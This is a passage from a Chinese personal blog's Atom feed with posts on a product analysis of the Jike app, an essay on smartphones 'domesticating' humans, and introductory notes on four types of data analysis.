适当延长了划词模式的操作路径</li></ul><p><strong>第一次更新和最后一次更新刚好一个月，历经18个版本，flomoNOW已经可以胜任我日常的记录工作了。</strong></p><p><strong>这是一个融入了我对笔记产品思考的插件，希望它能帮到你！</strong></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;关于Quicker&quot;&gt;&lt;a href=&quot;#关于Quicker&quot; class=&quot;headerlink&quot; title=&quot;关于Quicker&quot;&gt;&lt;/a&gt;关于Quicker&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://getquicker.net/&quot;&gt;Quicker&lt;</summary>
      
    
    
    
    <category term="实践" scheme="https://sandship.fun/categories/%E5%AE%9E%E8%B7%B5/"/>
    
    
    <category term="Quicker" scheme="https://sandship.fun/tags/Quicker/"/>
    
    <category term="flomo" scheme="https://sandship.fun/tags/flomo/"/>
    
  </entry>
  
  <entry>
    <title>即刻——从资讯到社交</title>
    <link href="https://sandship.fun/post/8d88.html"/>
    <id>https://sandship.fun/post/8d88.html</id>
    <published>2021-05-09T21:56:37.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h2 id="写在最前"><a href="#写在最前" class="headerlink" title="写在最前"></a>写在最前</h2><ul><li><p>这篇文章是我写的第一篇产品分析文档，它注定是不全面的、幼稚、粗浅的，我会不断补上这篇文章的漏洞；</p></li><li><p>以下这个表格将被用来记录这篇文章的写作历程。</p><table><thead><tr><th>日期</th><th>修改</th></tr></thead><tbody><tr><td>2021-5-09</td><td>🚩有了这个想法，创建了第一个markdown文件</td></tr><tr><td>2021-5-18</td><td>😀增加了这个【写在最前】，开篇【整体框架】记录了三篇文章的架构</td></tr><tr><td>2021-5-19</td><td>🙂完成了1.1节【别人用什么框架】</td></tr><tr><td>2021-6-29</td><td>😊完成了即刻的产品架构</td></tr></tbody></table></li></ul><h2 id="1-整体框架"><a href="#1-整体框架" class="headerlink" title="1.整体框架"></a>1.整体框架</h2><h4 id="1-1别人用什么框架"><a href="#1-1别人用什么框架" class="headerlink" title="1.1别人用什么框架"></a>1.1别人用什么框架</h4><p>首先我要确定我这篇文章的整体框架，说实话我也不清楚要有什么样的结构，所以我们先学习一下别人的结构吧。因为我并不熟悉这些框架，也不好评价，与其一刀切只看好的不如来个随机采样，下面就是我“采样”的几篇文章的架构：</p><h5 id="全世界APP产品分析：冷门？宝藏"><a href="#全世界APP产品分析：冷门？宝藏" class="headerlink" title="全世界APP产品分析：冷门？宝藏"></a><a href="http://www.woshipm.com/evaluating/4391597.html">全世界APP产品分析：冷门？宝藏</a></h5><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210518223206.png" alt="全世界APP" style="zoom: 67%;" /><p>这篇文章是我随机到的第一篇，我并没有过多注意他的内容。单从架构来说，我接触到了两个产品分析的方法或者说是角度</p><ul><li>SWOT分析法：</li></ul><blockquote><p>在现在的<a href="https://wiki.mbalib.com/wiki/%E6%88%98%E7%95%A5%E8%A7%84%E5%88%92">战略规划</a>报告里，SWOT分析应该算是一个众所周知的工具。来自于<a href="https://wiki.mbalib.com/wiki/%E9%BA%A6%E8%82%AF%E9%94%A1%E5%92%A8%E8%AF%A2%E5%85%AC%E5%8F%B8">麦肯锡咨询公司</a>的SWOT分析，包括分析企业的优势（Strengths）、劣势（Weaknesses）、机会（Opportunities）和威胁（Threats）。因此，SWOT分析实际上是将对企业内外部条件各方面内容进行综合和概括，进而分析组织的优劣势、面临的机会和威胁的一种方法。</p></blockquote><ul><li>用户体验的层次分析，包括战略层，范围层，结构层，框架层和表现层。有没有更通俗的解释？这点我们在做到这一步的时候再精进~</li></ul><h5 id="虎扑APP产品分析报告"><a href="#虎扑APP产品分析报告" class="headerlink" title="虎扑APP产品分析报告"></a><a href="http://www.woshipm.com/evaluating/3757410.html">虎扑APP产品分析报告</a></h5><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210518224249.png" alt="虎扑" style="zoom:50%;" /><p>这篇文章写的比上一篇详细，或许它更接近一篇详细的产品分析报告的架构？先不下定论，找下一篇文章看看。</p><h5 id="四万字长文丨「即刻」产品分析：如何打破兴趣社交的壁垒"><a href="#四万字长文丨「即刻」产品分析：如何打破兴趣社交的壁垒" class="headerlink" title="四万字长文丨「即刻」产品分析：如何打破兴趣社交的壁垒 "></a><a href="http://www.woshipm.com/evaluating/2883948.html">四万字长文丨「即刻」产品分析：如何打破兴趣社交的壁垒 </a></h5><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210518225319.png" alt="即刻"></p><p>我试着搜索了一下这次要分析的APP——即刻。这篇文章在开头就给出了完整的产品结构，一看就不一样，而且全文多达四万字，都可以写一篇硕士论文了……在这篇文章的结构中，我首次看到了<strong>运营</strong>这个关键词，和之前的文章不同，作者考虑了运营策略，这是为什么呢？我们需要如何考虑运营活动的分析方法呢？</p><h5 id="高德地图产品分析报告"><a href="#高德地图产品分析报告" class="headerlink" title="高德地图产品分析报告"></a><a href="http://www.woshipm.com/evaluating/3429568.html">高德地图产品分析报告</a></h5><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/img/20210519213027.png" alt="高德地图"></p><p>这篇文章中规中矩，不过我注意到了两个非常好用的网站<a href="https://www.talkingdata.com/">TalkingData</a>以及<a href="https://www.chandashi.com/">蝉大师</a>，都是非常不错的数据来源，🐎了</p><h5 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h5><p>之后的文章结构与上文所提到的四篇大差不差，核心内容主要包括四个部分：市场、体验、竞品和用户。更专业一点的文章会针对问题给出改进的建议，会根据特定的app对结构进行修改。另外最重要的是看别人的文章能够学到产品分析方法和工具，甚好甚好。</p><h2 id="2-即刻产品架构"><a href="#2-即刻产品架构" class="headerlink" title="2.即刻产品架构"></a>2.即刻产品架构</h2><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210629200539.png" alt="即刻的产品架构"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;写在最前&quot;&gt;&lt;a href=&quot;#写在最前&quot; class=&quot;headerlink&quot; title=&quot;写在最前&quot;&gt;&lt;/a&gt;写在最前&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;这篇文章是我写的第一篇产品分析文档，它注定是不全面的、幼稚、粗浅的，我会不断补上这篇文章的漏洞；&lt;/p&gt;
</summary>
      
    
    
    
    <category term="职业" scheme="https://sandship.fun/categories/%E8%81%8C%E4%B8%9A/"/>
    
    
    <category term="产品" scheme="https://sandship.fun/tags/%E4%BA%A7%E5%93%81/"/>
    
    <category term="报告" scheme="https://sandship.fun/tags/%E6%8A%A5%E5%91%8A/"/>
    
  </entry>
  
  <entry>
    <title>手机是如何驯服人类的？</title>
    <link href="https://sandship.fun/post/1556.html"/>
    <id>https://sandship.fun/post/1556.html</id>
    <published>2021-04-23T10:39:14.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<p>截至2020年，智能手机在全球有35亿的活跃用户，相当于全球总人口数的45%[^1]。 究竟，手机是如何从通讯工具变成生存工具的？</p><p>手机的秘诀就在于驯服人类、为其所用。智人这种猿类，原本靠着多样化的娱乐方式和社交方式过着颇为舒适的生活，直到大约14年前，苹果公司发布了划时代的智能手机产品iPhone，智人才开始投入越来越多的精力研发智能手机。而在接下来的十几年中，全球不同年龄段的人群都开始使用智能手机。拥有一台手机可不容易，因为照顾起来到处都是麻烦。第一，智能手机的屏幕可不会自己把自己架设在你面前，所以智人得低着头或者将它举起才能阅读上面的文字，搞得腰酸背痛；第二，智能手机不喜欢水、不喜欢太冷或太热的环境、更不喜欢坠落的感觉，所以我们可以看到男男女女给智能手机套上各式各样的手机壳；第三，智能手机或者上面的APP会有bug，智人要不断给它更新；第四，无论时扒手还是骗子，都不排斥一台价值不菲的智能手机，但是手机完全没有抵抗力，所以人们又不得不给自己的手机设置各式各样的安全措施。最后， 智能手机会饿，也就是没电，智人要为手机准备比其自身重两到三倍的移动电源；手机会渴，我们要给它准备网络流量；手机还会变老，每隔几年，智人就要在换购最新型号的手机上花一大笔钱。</p><p>智人的身体演化并不是为了从事这些活动，我们适应的活动是撒欢奔跑、是眺望远方，而不是低头久坐、注视屏幕，滑动和点击。于是人类的眼睛、脖颈、脊柱、大脑甚至生命就得付出代价。有的研究将手机的使用和脑癌关联起来，还有的研究指出手机让车祸发生的概率增加了3-4倍[^2]。此外，人类会在某些APP上花费大量的时间，比如微信，我们被迫每隔几分钟就解锁一次屏幕查看消息，我们被迫随身携带智能设备，让手机陪伴着我们行走、进食和入睡。这彻底改变了人类的生活方式。其实不是我们驯化了手机，而是手机驯化了我们。“驯化”（domesticate）一次来自拉丁文“domus”，意思是“房子”。但现在关在房子里的不是手机，而是人类。</p><p>[^1]: <a href="https://newzoo.com/insights/articles/insight-posts-global-mobile-market-report-2020-chinese/">https://newzoo.com/insights/articles/insight-posts-global-mobile-market-report-2020-chinese/</a>“《2020全球移动市场报告》”<br>[^2]: <a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4350886/">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4350886/</a>“Health risks associated with mobile phones use”</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;截至2020年，智能手机在全球有35亿的活跃用户，相当于全球总人口数的45%[^1]。 究竟，手机是如何从通讯工具变成生存工具的？&lt;/p&gt;
&lt;p&gt;手机的秘诀就在于驯服人类、为其所用。智人这种猿类，原本靠着多样化的娱乐方式和社交方式过着颇为舒适的生活，直到大约14年前，苹果公</summary>
      
    
    
    
    <category term="随笔" scheme="https://sandship.fun/categories/%E9%9A%8F%E7%AC%94/"/>
    
    
    <category term="手机" scheme="https://sandship.fun/tags/%E6%89%8B%E6%9C%BA/"/>
    
    <category term="人类简史" scheme="https://sandship.fun/tags/%E4%BA%BA%E7%B1%BB%E7%AE%80%E5%8F%B2/"/>
    
  </entry>
  
  <entry>
    <title>产品的知识——四类数据分析</title>
    <link href="https://sandship.fun/post/d858.html"/>
    <id>https://sandship.fun/post/d858.html</id>
    <published>2021-04-01T14:02:46.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<p>今天看到了这个<a href="https://www.bilibili.com/video/BV14W411W7d9?from=search&seid=4275847326323838973">视频</a>，还蛮受震撼的。瑞典统计学家汉斯·罗斯林（Hans Rosling）在这支2007年的视频里，展现了数据分析的重要作用。如果你不去做分析，不去做可视化，数据就只能是躺在数据库里的枯燥的密码和表格，谁爱看谁看。事实上，大部分人对数据没有清晰的认知不是因为没有数据，而是他们往往不够清晰、不易于理解。让所有人都能理解数据，是一种非常重要的能力。</p><p>我们一起来看看数据科学领域中的四种数据分析类型：描述性数据分析，诊断性数据分析，预测性数据分析和指导性数据分析。</p><h2 id="描述性分析"><a href="#描述性分析" class="headerlink" title="描述性分析"></a>描述性分析</h2><p>这是一个最常见的数据包分析形式。它帮助我们直观的了解一些较为关键的指标。如用户量，DAU等等，描述性分析有几个典型的方法：</p><h3 id="均值类方法"><a href="#均值类方法" class="headerlink" title="均值类方法"></a>均值类方法</h3><p>均值是最常见的度量值，这种方法</p><ul><li><strong>适合</strong>数值型数据，<strong>不适合</strong>分类数据和顺序数据；</li><li>受极端数值影响比较大，因此均值往往要配合<strong>方差</strong>食用，度量随机变量与均值之间的偏离程度；</li></ul><p>倒数平均数（调和平均数）、几何平均数</p><h3 id="分位数类方法"><a href="#分位数类方法" class="headerlink" title="分位数类方法"></a>分位数类方法</h3><p>中位数：适合顺序型数据，不受极端值影响</p><p>四分位数：排序后处于25%（下四分位数）和75%（上四分位数）位置上的值</p><h3 id="众数方法"><a href="#众数方法" class="headerlink" title="众数方法"></a>众数方法</h3><ul><li>适用于数量较多时使用；</li><li>不受极端值影响；</li><li>一组数据可能没有众数或有几个众数；</li><li>主要用于分类数据，也可用于顺序数据和数值型数据。</li></ul><h3 id="对数据离散程度的描述"><a href="#对数据离散程度的描述" class="headerlink" title="对数据离散程度的描述"></a>对数据离散程度的描述</h3><ul><li><p>极差：最大数与最小数之差</p></li><li><p>内矩：上四分位数与下四分位数之差，可用于评定中位数的代表性</p></li><li><p>方差和标准差：<strong>离散程度</strong>常用的的主要测度值，标准差是方差开根号。<br>$$<br>方差：\sigma^{2}&#x3D;\frac{\sum(X-\mu)^{2}}{N}<br>$$</p></li></ul><h2 id="诊断性分析"><a href="#诊断性分析" class="headerlink" title="诊断性分析"></a>诊断性分析</h2><blockquote><p>为什么会出现这样的数据？</p></blockquote><h2 id="预测性分析"><a href="#预测性分析" class="headerlink" title="预测性分析"></a>预测性分析</h2><p>占坑</p><h2 id="指导性分析"><a href="#指导性分析" class="headerlink" title="指导性分析"></a>指导性分析</h2><p>占坑</p><p>参考：</p><p><a href="https://zhuanlan.zhihu.com/p/147933135">https://zhuanlan.zhihu.com/p/147933135</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;今天看到了这个&lt;a href=&quot;https://www.bilibili.com/video/BV14W411W7d9?from=search&amp;seid=4275847326323838973&quot;&gt;视频&lt;/a&gt;，还蛮受震撼的。瑞典统计学家汉斯·罗斯林（Hans Rosling</summary>
      
    
    
    
    <category term="职业" scheme="https://sandship.fun/categories/%E8%81%8C%E4%B8%9A/"/>
    
    
    <category term="产品" scheme="https://sandship.fun/tags/%E4%BA%A7%E5%93%81/"/>
    
    <category term="数据分析" scheme="https://sandship.fun/tags/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
</feed>
